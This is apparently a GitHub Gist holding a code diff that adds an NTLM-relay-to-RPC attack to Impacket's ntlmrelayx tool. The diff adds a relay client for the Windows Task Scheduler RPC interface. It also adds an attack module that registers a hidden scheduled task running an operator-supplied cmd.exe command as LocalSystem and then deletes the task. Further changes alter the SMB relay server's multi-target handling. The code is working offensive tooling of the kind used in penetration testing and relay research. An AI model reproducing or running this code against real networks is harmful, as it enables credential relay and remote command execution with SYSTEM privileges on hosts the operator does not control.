Last active
May 15, 2020 02:03
-
-
Save mohemiv/ab542e4ff5d8fedda790e35326705bad to your computer and use it in GitHub Desktop.
Impacket Reaying to RPC attack Original
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py | |
index c53da8fa..3eb6bb33 100755 | |
--- a/examples/ntlmrelayx.py | |
+++ b/examples/ntlmrelayx.py | |
@@ -145,12 +145,14 @@ def start_servers(options, threads): | |
c.setExeFile(options.e) | |
c.setCommand(options.c) | |
c.setEnumLocalAdmins(options.enum_local_admins) | |
+ c.setDisableMulti(options.disable_multi) | |
c.setEncoding(codec) | |
c.setMode(mode) | |
c.setAttacks(PROTOCOL_ATTACKS) | |
c.setLootdir(options.lootdir) | |
c.setOutputFile(options.output_file) | |
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.sid) | |
+ c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port) | |
c.setMSSQLOptions(options.query) | |
c.setInteractive(options.interactive) | |
c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max) | |
@@ -250,15 +252,26 @@ if __name__ == '__main__': | |
parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') | |
parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients') | |
+ parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' | |
+ 'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be' | |
+ ' in the same directory). For RPC no output will be provided.') | |
+ | |
#SMB arguments | |
smboptions = parser.add_argument_group("SMB client options") | |
smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. ' | |
'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') | |
- smboptions.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' | |
- 'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same ' | |
- 'directory).') | |
smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') | |
+ smboptions.add_argument('--disable-multi', action='store_true', required=False, help='If set, disable multi-host relay (in case Guest authentication is disabled') | |
+ | |
+ #RPC arguments | |
+ rpcoptions = parser.add_argument_group("RPC client options") | |
+ rpcoptions.add_argument('-rpc-mode', choices=["TSCH"], default="TSCH", help='Protocol to attack, only TSCH supported') | |
+ rpcoptions.add_argument('-rpc-use-smb', action='store_true', required=False, help='Relay DCE/RPC to SMB pipes') | |
+ rpcoptions.add_argument('-auth-smb', action='store', required=False, default='', metavar='[domain/]username[:password]', | |
+ help='Use this credential to authenticate to SMB (low-privilege account)') | |
+ rpcoptions.add_argument('-hashes-smb', action='store', required=False, metavar="LMHASH:NTHASH") | |
+ rpcoptions.add_argument('-rpc-smb-port', type=int, choices=[139, 445], default=445, help='Destination port to connect to SMB') | |
#MSSQL arguments | |
mssqloptions = parser.add_argument_group("MSSQL client options") | |
@@ -305,6 +318,10 @@ if __name__ == '__main__': | |
logging.error(str(e)) | |
sys.exit(1) | |
+ if options.rpc_use_smb and not options.auth_smb: | |
+ logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes") | |
+ sys.exit(1) | |
+ | |
# Init the example's logger theme | |
logger.init(options.ts) | |
diff --git a/impacket/examples/ntlmrelayx/attacks/rpcattack.py b/impacket/examples/ntlmrelayx/attacks/rpcattack.py | |
new file mode 100644 | |
index 00000000..2f935273 | |
--- /dev/null | |
+++ b/impacket/examples/ntlmrelayx/attacks/rpcattack.py | |
@@ -0,0 +1,127 @@ | |
+# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. | |
+# | |
+# This software is provided under under a slightly modified version | |
+# of the Apache Software License. See the accompanying LICENSE file | |
+# for more information. | |
+# | |
+# Authors: | |
+# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/) | |
+# Based on @agsolino and @_dirkjan code | |
+# | |
+ | |
+import time | |
+import string | |
+import random | |
+ | |
+from impacket import LOG | |
+from impacket.dcerpc.v5 import tsch | |
+from impacket.dcerpc.v5.dtypes import NULL | |
+from impacket.examples.ntlmrelayx.attacks import ProtocolAttack | |
+ | |
+PROTOCOL_ATTACK_CLASS = "RPCAttack" | |
+ | |
+class TSCHRPCAttack: | |
+ def _xml_escape(self, data): | |
+ replace_table = { | |
+ "&": "&", | |
+ '"': """, | |
+ "'": "'", | |
+ ">": ">", | |
+ "<": "<", | |
+ } | |
+ return ''.join(replace_table.get(c, c) for c in data) | |
+ | |
+ def _run(self): | |
+ # Here PUT YOUR CODE! | |
+ tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) | |
+ | |
+ cmd = "cmd.exe" | |
+ args = "/C %s" % self.config.command | |
+ | |
+ LOG.info('Executing command %s in no output mode via %s' % (self.config.command, self.stringbinding)) | |
+ | |
+ xml = """<?xml version="1.0" encoding="UTF-16"?> | |
+<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> | |
+ <Triggers> | |
+ <CalendarTrigger> | |
+ <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary> | |
+ <Enabled>true</Enabled> | |
+ <ScheduleByDay> | |
+ <DaysInterval>1</DaysInterval> | |
+ </ScheduleByDay> | |
+ </CalendarTrigger> | |
+ </Triggers> | |
+ <Principals> | |
+ <Principal id="LocalSystem"> | |
+ <UserId>S-1-5-18</UserId> | |
+ <RunLevel>HighestAvailable</RunLevel> | |
+ </Principal> | |
+ </Principals> | |
+ <Settings> | |
+ <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> | |
+ <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> | |
+ <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> | |
+ <AllowHardTerminate>true</AllowHardTerminate> | |
+ <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> | |
+ <IdleSettings> | |
+ <StopOnIdleEnd>true</StopOnIdleEnd> | |
+ <RestartOnIdle>false</RestartOnIdle> | |
+ </IdleSettings> | |
+ <AllowStartOnDemand>true</AllowStartOnDemand> | |
+ <Enabled>true</Enabled> | |
+ <Hidden>true</Hidden> | |
+ <RunOnlyIfIdle>false</RunOnlyIfIdle> | |
+ <WakeToRun>false</WakeToRun> | |
+ <ExecutionTimeLimit>P3D</ExecutionTimeLimit> | |
+ <Priority>7</Priority> | |
+ </Settings> | |
+ <Actions Context="LocalSystem"> | |
+ <Exec> | |
+ <Command>%s</Command> | |
+ <Arguments>%s</Arguments> | |
+ </Exec> | |
+ </Actions> | |
+</Task> | |
+ """ % (self._xml_escape(cmd), self._xml_escape(args)) | |
+ | |
+ LOG.info('Creating task \\%s' % tmpName) | |
+ tsch.hSchRpcRegisterTask(self.dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) | |
+ | |
+ LOG.info('Running task \\%s' % tmpName) | |
+ done = False | |
+ | |
+ tsch.hSchRpcRun(self.dce, '\\%s' % tmpName) | |
+ | |
+ while not done: | |
+ LOG.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) | |
+ resp = tsch.hSchRpcGetLastRunInfo(self.dce, '\\%s' % tmpName) | |
+ if resp['pLastRuntime']['wYear'] != 0: | |
+ done = True | |
+ else: | |
+ time.sleep(2) | |
+ | |
+ LOG.info('Deleting task \\%s' % tmpName) | |
+ tsch.hSchRpcDelete(self.dce, '\\%s' % tmpName) | |
+ LOG.info('Completed!') | |
+ | |
+ | |
+class RPCAttack(ProtocolAttack, TSCHRPCAttack): | |
+ PLUGIN_NAMES = ["RPC"] | |
+ | |
+ def __init__(self, config, dce, username): | |
+ ProtocolAttack.__init__(self, config, dce, username) | |
+ self.dce = dce | |
+ self.rpctransport = dce.get_rpc_transport() | |
+ self.stringbinding = self.rpctransport.get_stringbinding() | |
+ | |
+ def run(self): | |
+ # Here PUT YOUR CODE! | |
+ | |
+ # Assume the endpoint is TSCH | |
+ # TODO: support relaying RPC to different endpoints | |
+ # TODO: support for providing a shell | |
+ # TODO: support for getting an output | |
+ if self.config.command is not None: | |
+ TSCHRPCAttack._run(self) | |
+ else: | |
+ LOG.error("No command provided to attack") | |
diff --git a/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py | |
new file mode 100644 | |
index 00000000..7ac149c4 | |
--- /dev/null | |
+++ b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py | |
@@ -0,0 +1,203 @@ | |
+# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. | |
+# | |
+# This software is provided under under a slightly modified version | |
+# of the Apache Software License. See the accompanying LICENSE file | |
+# for more information. | |
+# | |
+# Authors: | |
+# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/) | |
+# Based on @agsolino and @_dirkjan code | |
+# | |
+ | |
+from struct import unpack | |
+ | |
+from impacket import LOG | |
+from impacket.examples.ntlmrelayx.clients import ProtocolClient | |
+from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED | |
+from impacket.ntlm import NTLMAuthChallenge | |
+from impacket.spnego import SPNEGO_NegTokenResp | |
+ | |
+from impacket.dcerpc.v5 import transport, rpcrt, epm, tsch | |
+from impacket.dcerpc.v5.ndr import NDRCALL | |
+from impacket.dcerpc.v5.rpcrt import DCERPC_v5, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck, \ | |
+ MSRPCRespHeader, MSRPCBindNak, DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, \ | |
+ rpc_status_codes, rpc_provider_reason | |
+ | |
+PROTOCOL_CLIENT_CLASS = "RPCRelayClient" | |
+ | |
+class RPCRelayClientException(Exception): | |
+ pass | |
+ | |
+class MYDCERPC_v5(DCERPC_v5): | |
+ def __init__(self, transport): | |
+ DCERPC_v5.__init__(self, transport) | |
+ | |
+ def sendBindType1(self, iface_uuid, auth_data): | |
+ bind = MSRPCBind() | |
+ | |
+ item = CtxItem() | |
+ item['AbstractSyntax'] = iface_uuid | |
+ item['TransferSyntax'] = self.transfer_syntax | |
+ item['ContextID'] = 0 | |
+ item['TransItems'] = 1 | |
+ bind.addCtxItem(item) | |
+ | |
+ packet = MSRPCHeader() | |
+ packet['type'] = rpcrt.MSRPC_BIND | |
+ packet['pduData'] = bind.getData() | |
+ packet['call_id'] = 0 | |
+ | |
+ sec_trailer = SEC_TRAILER() | |
+ sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT | |
+ sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT | |
+ sec_trailer['auth_ctx_id'] = 79231 | |
+ | |
+ pad = (4 - (len(packet.get_packet()) % 4)) % 4 | |
+ if pad != 0: | |
+ packet['pduData'] += b'\xFF' * pad | |
+ sec_trailer['auth_pad_len'] = pad | |
+ | |
+ packet['sec_trailer'] = sec_trailer | |
+ packet['auth_data'] = auth_data | |
+ | |
+ self._transport.send(packet.get_packet()) | |
+ | |
+ s = self._transport.recv() | |
+ | |
+ if s != 0: | |
+ resp = MSRPCHeader(s) | |
+ else: | |
+ return 0 #mmm why not None? | |
+ | |
+ if resp['type'] == rpcrt.MSRPC_BINDACK or resp['type'] == rpcrt.MSRPC_ALTERCTX_R: | |
+ bindResp = MSRPCBindAck(resp.getData()) | |
+ elif resp['type'] == rpcrt.MSRPC_BINDNAK or resp['type'] == rpcrt.MSRPC_FAULT: | |
+ if resp['type'] == rpcrt.MSRPC_FAULT: | |
+ resp = MSRPCRespHeader(resp.getData()) | |
+ status_code = unpack('<L', resp['pduData'][:4])[0] | |
+ else: | |
+ resp = MSRPCBindNak(resp['pduData']) | |
+ status_code = resp['RejectedReason'] | |
+ if status_code in rpc_status_codes: | |
+ raise DCERPCException(error_code = status_code) | |
+ elif status_code in rpc_provider_reason: | |
+ raise DCERPCException("Bind context rejected: %s" % rpc_provider_reason[status_code]) | |
+ else: | |
+ raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code) | |
+ else: | |
+ raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type']) | |
+ | |
+ self.set_max_tfrag(bindResp['max_rfrag']) | |
+ | |
+ return bindResp | |
+ | |
+ def sendBindType3(self, auth_data): | |
+ sec_trailer = SEC_TRAILER() | |
+ sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT | |
+ sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT | |
+ sec_trailer['auth_ctx_id'] = 79231 | |
+ | |
+ auth3 = MSRPCHeader() | |
+ auth3['type'] = rpcrt.MSRPC_AUTH3 | |
+ | |
+ # pad (4 bytes): Can be set to any arbitrary value when set and MUST be | |
+ # ignored on receipt. The pad field MUST be immediately followed by a | |
+ # sec_trailer structure whose layout, location, and alignment are as | |
+ # specified in section 2.2.2.11 | |
+ auth3['pduData'] = b' ' | |
+ auth3['sec_trailer'] = sec_trailer | |
+ auth3['auth_data'] = auth_data | |
+ auth3['call_id'] = 0 | |
+ | |
+ self._transport.send(auth3.get_packet(), forceWriteAndx = 1) | |
+ | |
+class DummyOp(NDRCALL): | |
+ opnum = 255 | |
+ structure = ( | |
+ ) | |
+ | |
+class RPCRelayClient(ProtocolClient): | |
+ PLUGIN_NAME = "RPC" | |
+ | |
+ def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True): | |
+ ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) | |
+ | |
+ # TODO: support relaying RPC to different endpoints (e.g. DCOM, SpoolSS) | |
+ # TODO: create a single LOG interface for ntlmrelayx to provide a user info which message/error to which thread belongs | |
+ self.endpoint = serverConfig.rpc_mode | |
+ | |
+ if self.endpoint == "TSCH": | |
+ self.endpoint_uuid = tsch.MSRPC_UUID_TSCHS | |
+ else: | |
+ raise NotImplementedError("Not implemented!") | |
+ | |
+ if self.serverConfig.rpc_use_smb: | |
+ if self.endpoint == "TSCH": | |
+ self.stringbinding = "ncacn_np:%s[\\pipe\\atsvc]" % target.netloc | |
+ else: | |
+ raise NotImplementedError("Not implemented!") | |
+ else: | |
+ LOG.debug("Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding" % (target.netloc, self.endpoint)) | |
+ self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp') | |
+ | |
+ LOG.debug("%s stringbinding is %s" % (self.endpoint, self.stringbinding)) | |
+ | |
+ def initConnection(self): | |
+ rpctransport = transport.DCERPCTransportFactory(self.stringbinding) | |
+ | |
+ if self.serverConfig.rpc_use_smb: | |
+ LOG.info("Authenticating to smb://%s:%d with creds provided in cmdline" % (self.target.netloc, self.serverConfig.rpc_smb_port)) | |
+ rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \ | |
+ self.serverConfig.smblmhash, self.serverConfig.smbnthash) | |
+ rpctransport.set_dport(self.serverConfig.rpc_smb_port) | |
+ | |
+ self.session = MYDCERPC_v5(rpctransport) | |
+ self.session.set_auth_level(RPC_C_AUTHN_LEVEL_CONNECT) | |
+ self.session.connect() | |
+ | |
+ if self.serverConfig.rpc_use_smb: | |
+ LOG.info("Authentication to smb://%s:%d succeeded" % (self.target.netloc, self.serverConfig.rpc_smb_port)) | |
+ | |
+ return True | |
+ | |
+ def sendNegotiate(self, auth_data): | |
+ bindResp = self.session.sendBindType1(self.endpoint_uuid, auth_data) | |
+ | |
+ challenge = NTLMAuthChallenge() | |
+ challenge.fromString(bindResp['auth_data']) | |
+ | |
+ return challenge | |
+ | |
+ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): | |
+ if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: | |
+ respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) | |
+ auth_data = respToken2['ResponseToken'] | |
+ else: | |
+ auth_data = authenticateMessageBlob | |
+ | |
+ self.session.sendBindType3(auth_data) | |
+ | |
+ try: | |
+ req = DummyOp() | |
+ self.session.request(req) | |
+ except DCERPCException as e: | |
+ if 'nca_s_op_rng_error' in str(e) or 'RPC_E_INVALID_HEADER' in str(e): | |
+ return None, STATUS_SUCCESS | |
+ elif 'rpc_s_access_denied' in str(e): | |
+ return None, STATUS_ACCESS_DENIED | |
+ else: | |
+ LOG.info("Unexpected rpc code received from %s: %s" % (self.stringbinding, str(e))) | |
+ return None, STATUS_ACCESS_DENIED | |
+ | |
+ def killConnection(self): | |
+ if self.session is not None: | |
+ self.session.get_rpc_transport().disconnect() | |
+ self.session = None | |
+ | |
+ def keepAlive(self): | |
+ try: | |
+ req = DummyOp() | |
+ self.session.request(req) | |
+ except DCERPCException as e: | |
+ if 'nca_s_op_rng_error' not in str(e) or 'RPC_E_INVALID_HEADER' not in str(e): | |
+ raise | |
diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py | |
index c88cee6c..a8702451 100644 | |
--- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py | |
+++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py | |
@@ -118,6 +118,35 @@ class SMBRelayServer(Thread): | |
respPacket['Command'] = smb3.SMB2_NEGOTIATE | |
respPacket['SessionID'] = 0 | |
+ # Do not use multi-target feature | |
+ if self.config.disableMulti: | |
+ if self.config.mode.upper() == 'REFLECTION': | |
+ self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) | |
+ | |
+ self.target = self.targetprocessor.getTarget() | |
+ | |
+ LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, | |
+ self.target.netloc)) | |
+ | |
+ try: | |
+ if self.config.mode.upper() == 'REFLECTION': | |
+ # Force standard security when doing reflection | |
+ LOG.debug("Downgrading to standard security") | |
+ extSec = False | |
+ #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) | |
+ else: | |
+ extSec = True | |
+ # Init the correct client for our target | |
+ client = self.init_client(extSec) | |
+ except Exception as e: | |
+ LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) | |
+ self.targetprocessor.logTarget(self.target) | |
+ else: | |
+ connData['SMBClient'] = client | |
+ connData['EncryptionKey'] = client.getStandardSecurityChallenge() | |
+ smbServer.setConnectionData(connId, connData) | |
+ | |
+ | |
if isSMB1 is False: | |
respPacket['MessageID'] = recvPacket['MessageID'] | |
else: | |
@@ -175,9 +204,10 @@ class SMBRelayServer(Thread): | |
############################################################# | |
# SMBRelay | |
# Are we ready to relay or should we just do local auth? | |
- if 'relayToHost' not in connData: | |
- # Just call the original SessionSetup | |
- return self.origSmbSessionSetup(connId, smbServer, recvPacket) | |
+ if not self.config.disableMulti: | |
+ if 'relayToHost' not in connData: | |
+ # Just call the original SessionSetup | |
+ return self.origSmbSessionSetup(connId, smbServer, recvPacket) | |
# We have confirmed we want to relay to the target host. | |
respSMBCommand = smb3.SMB2SessionSetup_Response() | |
@@ -355,6 +385,8 @@ class SMBRelayServer(Thread): | |
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), | |
authenticateMessage['user_name'].decode ('utf-16le'))).upper () | |
+ if self.config.disableMulti: | |
+ return self.origsmb2TreeConnect(connId, smbServer, recvPacket) | |
# Uncommenting this will stop at the first connection relayed and won't relaying until all targets | |
# are processed. There might be a use case for this | |
#if 'relayToHost' in connData: | |
@@ -433,11 +465,46 @@ class SMBRelayServer(Thread): | |
### SMBv1 Part ################################################################# | |
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): | |
connData = smbServer.getConnectionData(connId, checkStatus = False) | |
- if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0: | |
+ | |
+ if self.config.disableMulti: | |
if self.config.mode.upper() == 'REFLECTION': | |
- # Force standard security when doing reflection | |
- LOG.debug("Downgrading to standard security") | |
- recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) | |
+ self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) | |
+ | |
+ # TODO: Check if a cache is better because there is no way to know which target was selected for this victim | |
+ # except for relying on the targetprocessor selecting the same target unless a relay was already done | |
+ self.target = self.targetprocessor.getTarget() | |
+ | |
+ LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], | |
+ self.target.scheme, self.target.netloc)) | |
+ | |
+ try: | |
+ if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: | |
+ extSec = False | |
+ else: | |
+ if self.config.mode.upper() == 'REFLECTION': | |
+ # Force standard security when doing reflection | |
+ LOG.debug("Downgrading to standard security") | |
+ extSec = False | |
+ recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) | |
+ else: | |
+ extSec = True | |
+ | |
+ # Init the correct client for our target | |
+ client = self.init_client(extSec) | |
+ except Exception as e: | |
+ LOG.error( | |
+ "Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) | |
+ self.targetprocessor.logTarget(self.target) | |
+ else: | |
+ connData['SMBClient'] = client | |
+ connData['EncryptionKey'] = client.getStandardSecurityChallenge() | |
+ smbServer.setConnectionData(connId, connData) | |
+ else: | |
+ if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0: | |
+ if self.config.mode.upper() == 'REFLECTION': | |
+ # Force standard security when doing reflection | |
+ LOG.debug("Downgrading to standard security") | |
+ recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) | |
return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) | |
############################################################# | |
@@ -449,9 +516,10 @@ class SMBRelayServer(Thread): | |
############################################################# | |
# SMBRelay | |
# Are we ready to relay or should we just do local auth? | |
- if 'relayToHost' not in connData: | |
- # Just call the original SessionSetup | |
- return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) | |
+ if not self.config.disableMulti: | |
+ if 'relayToHost' not in connData: | |
+ # Just call the original SessionSetup | |
+ return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) | |
# We have confirmed we want to relay to the target host. | |
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) | |
@@ -671,6 +739,8 @@ class SMBRelayServer(Thread): | |
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), | |
authenticateMessage['user_name'].decode ('utf-16le'))).upper () | |
+ if self.config.disableMulti: | |
+ return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket) | |
# Uncommenting this will stop at the first connection relayed and won't relaying until all targets | |
# are processed. There might be a use case for this | |
#if 'relayToHost' in connData: | |
diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py | |
index c8aa9846..1f1ff3ca 100644 | |
--- a/impacket/examples/ntlmrelayx/utils/config.py | |
+++ b/impacket/examples/ntlmrelayx/utils/config.py | |
@@ -23,6 +23,7 @@ class NTLMRelayxConfig: | |
self.listeningPort = None | |
self.domainIp = None | |
+ | |
self.machineAccount = None | |
self.machineHashes = None | |
self.target = None | |
@@ -36,6 +37,8 @@ class NTLMRelayxConfig: | |
self.ipv6 = False | |
self.remove_mic = False | |
+ self.command = None | |
+ | |
# WPAD options | |
self.serve_wpad = False | |
self.wpad_host = None | |
@@ -50,9 +53,17 @@ class NTLMRelayxConfig: | |
# SMB options | |
self.exeFile = None | |
- self.command = None | |
self.interactive = False | |
self.enumLocalAdmins = False | |
+ self.disableMulti = False | |
+ | |
+ # RPC options | |
+ self.rpc_mode = None | |
+ self.rpc_use_smb = False | |
+ self.auth_smb = '' | |
+ self.smblmhash = None | |
+ self.smbnthash = None | |
+ self.port_smb = 445 | |
# LDAP options | |
self.dumpdomain = True | |
@@ -108,6 +119,9 @@ class NTLMRelayxConfig: | |
def setEnumLocalAdmins(self, enumLocalAdmins): | |
self.enumLocalAdmins = enumLocalAdmins | |
+ def setDisableMulti(self, disableMulti): | |
+ self.disableMulti = disableMulti | |
+ | |
def setEncoding(self, encoding): | |
self.encoding = encoding | |
@@ -151,6 +165,22 @@ class NTLMRelayxConfig: | |
def setMSSQLOptions(self, queries): | |
self.queries = queries | |
+ def setRPCOptions(self, rpc_mode, rpc_use_smb, auth_smb, hashes_smb, rpc_smb_port): | |
+ self.rpc_mode = rpc_mode | |
+ self.rpc_use_smb = rpc_use_smb | |
+ | |
+ import re | |
+ auth_re = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?') | |
+ self.smbdomain, self.smbuser, self.smbpass = auth_re.match(auth_smb).groups('') | |
+ | |
+ if hashes_smb is not None: | |
+ self.smblmhash, self.smbnthash = hashes_smb.split(':') | |
+ else: | |
+ self.smblmhash = '' | |
+ self.smbnthash = '' | |
+ | |
+ self.rpc_smb_port = rpc_smb_port | |
+ | |
def setInteractive(self, interactive): | |
self.interactive = interactive | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment